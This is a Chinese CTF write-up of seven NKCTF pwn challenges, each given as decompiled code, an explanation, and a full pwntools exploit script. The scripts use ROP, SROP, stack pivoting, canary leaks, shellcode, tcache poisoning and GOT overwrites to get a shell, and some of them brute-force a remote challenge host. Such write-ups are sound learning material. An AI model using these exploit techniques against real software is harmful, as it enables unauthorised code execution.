打的比较坐牢 主要还是有的题目没有给libc文件
题目质量还是挺不错的 扩展了思路
ezshellcode 这题老熟人了哈哈 还记得刚开始学pwn的时候 写的第一篇wp就是猜数字 顺便这题真的被坑了一手 一开始没仔细看题目 看到随机数就以为时间当种子 爆破半天发现是固定种子 默认1
签到题 不解释了
from pwn import *from ctypes import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) context.arch = "amd64" elf = ELF("./nk" ) def debug (): gdb.attach(io) pause() io.recvuntil("u can make it in 5 min!" ) libc.srand(1 ) buf = libc.rand() % 100 + 1 payload = cyclic(buf)+asm(shellcraft.sh()) io.send(payload) io.recvuntil("good luck!" ) io.interactive()
a_story_of_a_pwner
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; int v6; init(argc, argv, envp); puts ("today, I want to tell you some stories about myself." ); puts ("I have a lot of stories, which one do you want to hear?" ); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); if ( opt != 1 ) break ; acm(&v6); v6 = 1 ; } if ( opt != 2 ) break ; ctf(&v5); v5 = 1 ; } if ( opt != 3 ) break ; love(&v4); v4 = 1 ; } if ( opt != 4 ) break ; if ( v6 && v5 && v4 ) heart(); else warning(&v6, &v5, &v4); } puts ("wrong choice." ); puts ("you hurt me so much." ); puts ("DO YOU THINK IT'S FUNNY TO CHOOSE INCORRECT OPTION?" ); puts ("BYE." ); return 0 ; }
一开始还以为是堆 跟进一下每个函数发现还是比较简单的
acm ctf love三个函数每个函数进去可以往bss段上写0x8字节的数据 并且这三个位置是相邻的
同时在函数执行完以后 会各自把一个值设置为1
接着要进入heart函数的分支有两种情况 一种是值都为1 也就是已经执行完3个函数了 还有一种就是没有全部执行完
跟进一下heart函数和warning函数
ssize_t heart () { char buf[10 ]; puts ("now, come and read my heart..." ); return read(0 , buf, 0x20 uLL); }
可以溢出0x16字节 也就够个栈迁移了 联想到之前可以往bss段写数据 那就是往那边迁移了
int warning () { puts ("Before u read this, i think u should read first 3." ); return printf ("I give it up, you can see this. %p\n" , &puts ); }
直接送了puts函数的真实地址 那就好办了 接收一下 然后在bss段上构造system(“/bin/sh”) 随后迁移过去
from pwn import* from ctypes import * from LibcSearcher import* io = process("./pwn" ) #io = remote("node.yuzhian.com.cn" ,37719) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] #libc = ELF("./刷题/libc-2.32.so" ) libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so" ) #libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib # context.arch = "i386" context.arch = "amd64" elf = ELF("./nk") def debug(): gdb.attach(io) pause() io.recvuntil("> ") io.sendline(b' 4') io.recvuntil("I give it up, you can see this. ") puts_addr = int(io.recv(14),16) success("puts_addr :"+hex(puts_addr)) libc_addr = puts_addr - libc.sym[' puts'] success("libc_addr :"+hex(libc_addr)) rdi_addr = 0x0000000000401573 binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) system_addr = libc_addr + libc.sym[' system'] leave_addr = 0x000000000040139e io.recvuntil("> ") io.sendline(b' 2') io.send(p64(rdi_addr)) io.recvuntil("> ") io.sendline(b' 1') io.send(p64(binsh_addr)) io.recvuntil("> ") io.sendline(b' 3') io.send(p64(system_addr)) io.recvuntil("> ") io.sendline(b' 4') io.recv() io.recv() onegadget_addr = libc_addr +0xe3b04 payload = cyclic(10)+p64(0x4050A0-8)+p64(leave_addr) io.sendline(payload) io.interactive()
ez_stack
__int64 vuln () { signed __int64 v0; signed __int64 v1; char buf[16 ]; v0 = sys_write(1u , nkctf, 0x26 uLL); v1 = sys_read(0 , buf, 0x200 uLL); return 0LL ; }
隐约记得哪一年的国赛也有这种类型的题目 记得是srop来着 翻了翻之前的博客 发现还真是(所以写写博客还是有用的对吧)
ROPgadget看看能不能控制rax的值 果然发现了 那这一题就是srop了
不过还需要找个地方写binsh字符串 所以先srop写一个read到bss段上 然后再getshell
from pwn import* from ctypes import * from LibcSearcher import* io = process("./pwn" ) #io = remote("node.yuzhian.com.cn" ,32980) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] #libc = ELF("./刷题/libc-2.32.so" ) libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so" ) #libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/lib # context.arch = "i386" context.arch = "amd64" elf = ELF("./nk") def debug(): gdb.attach(io) pause() io.recv() bss_addr= 0x404080+0x100 main_addr = elf.sym[' main'] rax_15 = 0x0000000000401146 syscall_addr = 0x000000000040114e frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = bss_addr frame.rdx = 0x200 frame.rip = syscall_addr frame.rsp = bss_addr payload = cyclic(0x18)+p64(rax_15)+p64(syscall_addr)+bytes(frame) io.sendline(payload) binsh_addr = bss_addr +264 frame = SigreturnFrame() frame.rax = 59 frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_addr payload = p64(rax_15)+p64(syscall_addr)+bytes(frame)+b' /bin/sh\x00'# gdb.attach(io,'b *' +str(rax_15)) # pause(0) io.sendline(payload) io.interactive()
baby_rop
__int64 vuln () { const char *format; char src[8 ]; char dest[8 ]; char v4[248 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); strcpy (dest, "Hello, " ); puts ("Welcome to the NKCTF message board!" ); printf ("What is your name: " ); my_read(src, 8LL ); format = strcat (dest, src); printf (format); puts ("What are your comments and suggestions for the NKCTF: " ); my_read(v4, 256LL ); puts ("Thank you, we will read your comments and suggestions carefully." ); return 0LL ; }
格式化字符串 顺便还可以往栈上写数据 不过并不能栈溢出 一开始确实没什么思路 不过后来发现main函数结束前的指令有点不一样
.text:000000000040138 C endbr64 .text:0000000000401390 push rbp .text:0000000000401391 mov rbp, rsp .text:0000000000401394 mov eax, 0 .text:0000000000401399 call init .text:000000000040139 E mov eax, 0 .text:00000000004013 A3 call vuln .text:00000000004013 A8 leave .text:00000000004013 A9 mov eax, 0 .text:00000000004013 AE pop rbp .text:00000000004013 AF retn
最后rsp指向的是环境变量那一块 然后我就想能不能破坏一下栈结构 看能不能利用写栈上0x100的字节构造一个rop链
然后就想到canary了嘛 调用___stack_chk_fail的话总归会对栈结构产生影响 再加上有格式化字符串漏洞 泄露canary还是小菜一碟的
io.recvuntil("What is your name: " ) io.sendline(b'%41$p%p' ) io.recv(7 ) canary = int (io.recv(18 ),16 ) success("canary :" +hex (canary)) stack_addr = int (io.recv(14 ),16 ) success("stack_addr :" +hex (stack_addr))
计算一下偏移泄露canary 顺便不要浪费机会 顺便泄露一下栈地址 到时候还要用到binsh字符串呢
payload = p64(ret_addr)*30 +p64(main_addr)+p64(canary) gdb.attach(io,'b *0x40138B' ) pause(0 ) io.send(payload) pause()
然后试着覆盖一下canary 你就会发现最后的rsp会乱偏 为了提高打通的效率 我们就多塞几个ret 这样确保可以返回到main函数
然后回到main函数以后 再次利用格式化字符串泄露libc基址 然后同样的办法构造system链就行了
顺便吐槽一下不给libc的行为 2.31 9.9的用libcsearch也查不到 一血就这样没了 就拿了个三血
from pwn import *from ctypes import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("What is your name: " ) io.sendline(b'%41$p%p' ) io.recv(7 ) canary = int (io.recv(18 ),16 ) success("canary :" +hex (canary)) stack_addr = int (io.recv(14 ),16 ) success("stack_addr :" +hex (stack_addr)) io.recvuntil("What are your comments and suggestions for the NKCTF: " ) main_addr = elf.sym['main' ] start_addr = elf.sym['_start' ] ret_addr = 0x000000000040101a rsp_addr = 0x000000000040140d payload = p64(ret_addr)*30 +p64(main_addr)+p64(canary) io.send(payload) io.recvuntil("What is your name: " ) io.sendline(b'%25$p' ) addr = int (io.recvuntil("What" ,drop = True )[-14 :],16 ) success("addr :" +hex (addr)) libc_addr = addr - libc.sym['_IO_2_1_stderr_' ] success("libc_addr :" +hex (libc_addr)) system_addr = libc_addr + libc.sym['system' ] rdi_addr = 0x0000000000401413 binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) payload = p64(ret_addr)*28 +p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)+p64(canary) io.sendline(payload) io.recv() io.interactive()
9961code
int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = (void *)(int )mmap((void *)0x9961000 , 0x1000 uLL, 7 , 34 , -1 , 0LL ); puts ("Last night i played touhou fuujinroku ~ Mountain of Faith\n" ); puts ("F**k! I failed and 9961 in the end!\n" ); puts ("In that case, you can only enter a very short shellcode!\n" ); read(0 , buf, 0x16 uLL); puts ("I hope you can NMNB it!" ); mprotect(buf, 0x1000 uLL, 4 ); JUMPOUT(0x9961000 LL); }
手写shellcode 一开始我是想着先构造mprotect 开一下0x9961000的可写可读权限 然后返回main函数重新构造read链 但是发现不行啊 开了pie不知道要怎么返回去 想了半天 问了其他师傅 学了一手直接打
from pwn import *from ctypes import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() io.recvuntil("In that case, you can only enter a very short shellcode!" ) shellcode = """ xor rsi,rsi lea rdi,[r15+0xe] cdq mov ax,59 syscall """ io.send(asm(shellcode)+b'/bin/sh\x00' ) io.recvuntil("I hope you can NMNB it!" ) io.interactive()
学到了cdq这个指令 可以把eax第31位赋值给edx所有的bit 在这里也就是起到了清空rdx寄存器的作用
值得一题的就是本地死活打不通 但是远程能通 不知道什么情况
baby_heap
这题堆开局就给我来一记重锤 用xclibc换libc版本的时候 运行提示段内存错误
然后发现是libc没有换上 那就手动换一下吧
patchelf --replace-needed /lib/x86_64-linux-gnu/libc.so.6 /home/chen/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/ ./pwn
程序函数给齐了 add delete edit show
add函数最多申请0x100 delete函数置零了指针 不存在UAF edit函数存在一个字节的溢出 show函数可以打印出堆块内容
还真是easy_heap 这题用到的办法是我最开始学堆的时候用的 利用单字节溢出合并两个chunk 释放到unsortedbin中 然后再申请同样size的小chunk出来就存在chunk overlap 只不过中途会有些小问题
add(0 ,0x18 ) add(1 ,0x40 ) add(2 ,0x40 ) for i in range (7 ): add(3 +i,0x90 ) for i in range (7 ): delete(3 +i) payload = cyclic(0x18 )+b'\xa1' edit(0 ,payload) delete(1 ) add(10 ,0x40 ) edit(2 ,b'\x0a' ) show(2 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-96 -0xa libc_addr = main_arena_addr - (libc.sym['__malloc_hook' ]+0x10 ) free_hook = libc_addr + libc.sym['__free_hook' ] system_addr = libc_addr + libc.sym['system' ] success("libc_addr :" +hex (libc_addr))
一个是2.32的main_arena_addr+xxh末尾是\x00 所以要先覆盖成其他值
还有一点是接下来想再申请0x40的chunk 也就是chunk2 构成一个chunk overlap的时候 报错了
malloc(): unsorted double linked list corrupted
是因为此时unsortedchunk的fd域被破坏了
那简单 复原一下就好了
edit(2 ,p64(main_arena_addr+96 )*2 ) add(11 ,0x40 ) delete(11 ) show(2 ) key = u64(io.recvuntil("\x0a" ,drop = True ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) edit(2 ,p64(free_hook^key))
这时候就利用chunk overlap来实现tcachebin attack libc版本是2.32 所以还需要注意一下tcache的key机制
但是这时候却申请不出来free_hook的chunk
因为此时plmalloc认为这个链表中已经没有chunk了 前面的数值是0 再次申请不会去对应链表中查找 而是直接分配一个新的
解决办法就是多释放几个进去就行了
from pwn import *from ctypes import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.recvuntil("Your choice: " ) io.sendline(b'1' ) io.recvuntil("Enter the index: " ) io.sendline(str (index)) io.recvuntil("Enter the Size: " ) io.sendline(str (size)) def delete (index ): io.recvuntil("Your choice: " ) io.sendline(b'2' ) io.recvuntil("Enter the index: " ) io.sendline(str (index)) def edit (index,content ): io.recvuntil("Your choice: " ) io.sendline(b'3' ) io.recvuntil("Enter the index: " ) io.sendline(str (index)) io.recvuntil("Enter the content: " ) io.sendline(content) def show (index ): io.recvuntil("Your choice: " ) io.sendline(b'4' ) io.recvuntil("Enter the index: " ) io.sendline(str (index)) add(0 ,0x18 ) add(1 ,0x40 ) add(2 ,0x40 ) for i in range (7 ): add(3 +i,0x90 ) for i in range (7 ): delete(3 +i) payload = cyclic(0x18 )+b'\xa1' edit(0 ,payload) delete(1 ) add(10 ,0x40 ) edit(2 ,b'\x0a' ) show(2 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-96 -0xa libc_addr = main_arena_addr - (libc.sym['__malloc_hook' ]+0x10 ) free_hook = libc_addr + libc.sym['__free_hook' ] system_addr = libc_addr + libc.sym['system' ] success("libc_addr :" +hex (libc_addr)) edit(2 ,p64(main_arena_addr+96 )*2 ) add(11 ,0x40 ) add(12 ,0x40 ) add(13 ,0x40 ) delete(11 ) show(2 ) key = u64(io.recvuntil("\x0a" ,drop = True ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) add(14 ,0x40 ) delete(12 ) delete(13 ) delete(14 ) edit(2 ,p64(free_hook^key)) add(15 ,0x40 ) add(3 ,0x40 ) edit(3 ,p64(system_addr)) edit(15 ,b'/bin/sh\x00' ) delete(15 ) io.interactive()
only_read
int __cdecl main (int argc, const char **argv, const char **envp) { char s1[64 ]; char s[64 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x30 uLL); base_decode(s, s1); if ( strcmp (s1, "Welcome to NKCTF!" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x30 uLL); base_decode(s, s1); if ( strcmp (s1, "tell you a secret:" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x40 uLL); base_decode(s, s1); if ( strcmp (s1, "I'M RUNNING ON GLIBC 2.31-0ubuntu9.9" ) ) return 0 ; memset (s, 0 , sizeof (s)); memset (s1, 0 , sizeof (s1)); read(0 , s, 0x40 uLL); base_decode(s, s1); if ( !strcmp (s1, "can you find me?" ) ) next(); return 0 ; }
这题实在是太坐牢了 我自己尝试的是ogg爆破 本地关了ASLR以后 写对偏移就通了 但是远程是死活爆破不通 最后换了个办法 可惜了 我觉得我ogg爆破的办法是真的奇才
from pwn import *from ctypes import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() while True : try : io = remote("node2.yuzhian.com.cn" ,35140 ) io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00' ) sleep(0.2 ) io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00' ) sleep(0.2 ) io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00' ) sleep(0.2 ) io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00' ) sleep(0.2 ) rbp_addr = 0x000000000040117d leave_addr = 0x00000000004013c2 gadget1_addr = 0x401660 gadget2_addr = 0x401676 next_addr = 0x4013c4 payload = cyclic(0x38 )+p64(gadget2_addr) payload += cyclic(0x8 )+p64(0 )+p64(1 )+p64(0 )+p64(elf.got['setbuf' ])+p64(8 )+p64(elf.got['read' ]) payload += p64(gadget1_addr)+p64(0 )*7 +p64(next_addr) sleep(0.2 ) io.send(payload) io.send(p16(0x3afe ) + p8(0xea )) payload = cyclic(0x38 )+p64(rbp_addr)+p64(elf.got['setbuf' ]-0x8 )+p64(leave_addr) sleep(0.2 ) io.send(payload) sleep(0.2 ) io.sendline(b'cat flag.txt' ) flag = io.recv() assert (len (flag)>0 ) print (flag) io.interactive() except EOFError: io.close()
就贴在这了吧 纪念一下死去的理想
说回正题 开局的那几个base64还是很好绕过的 要注意的是有的末尾要加了\x00 不然不知道为啥过不了strcmp
随后就是一个栈溢出 长度管够 但是只有这四个函数
直接覆盖setbuf的got表为puts函数 然后把setbuf当puts使就行了
注意一下爆破脚本 在前面那一堆payload传输的中间要加sleep 不然会出现奇怪的问题 我就是这个问题卡了好久的远程
from pwn import *from ctypes import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() while True : try : io = process("./pwn" ) io.sendline(b'V2VsY29tZSB0byBOS0NURiE=\x00' ) sleep(0.5 ) io.sendline(b'dGVsbCB5b3UgYSBzZWNyZXQ6\x00' ) sleep(0.5 ) io.sendline(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45\x00' ) sleep(0.5 ) io.sendline(b'Y2FuIHlvdSBmaW5kIG1lPw==\x00' ) sleep(0.5 ) rbp_addr = 0x000000000040117d leave_addr = 0x00000000004013c2 gadget1_addr = 0x401660 gadget2_addr = 0x401676 read_addr = 0x401090 rsi_r15 = 0x0000000000401681 rdi_addr = 0x0000000000401683 main_addr = 0x4013E9 ret_addr = 0x000000000040101a next_addr = 0x4013c4 payload = cyclic(0x38 )+p64(rdi_addr)+p64(0 )+p64(rsi_r15)+p64(elf.got['setbuf' ])*2 +p64(elf.sym['read' ])+p64(rdi_addr)+p64(elf.got['read' ])+p64(elf.sym['setbuf' ])+p64(next_addr) io.send(payload) sleep(0.5 ) io.send(p16(0x4420 )) read_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = read_addr - libc.sym['read' ] success("libc_addr :" +hex (libc_addr)) system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + libc.search(b"/bin/sh" ).__next__() payload = cyclic(0x38 )+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) io.send(payload) io.sendline(b'cat flag.txt' ) flag = io.recv() assert (len (flag)>0 ) print (flag) io.interactive() except EOFError: io.close()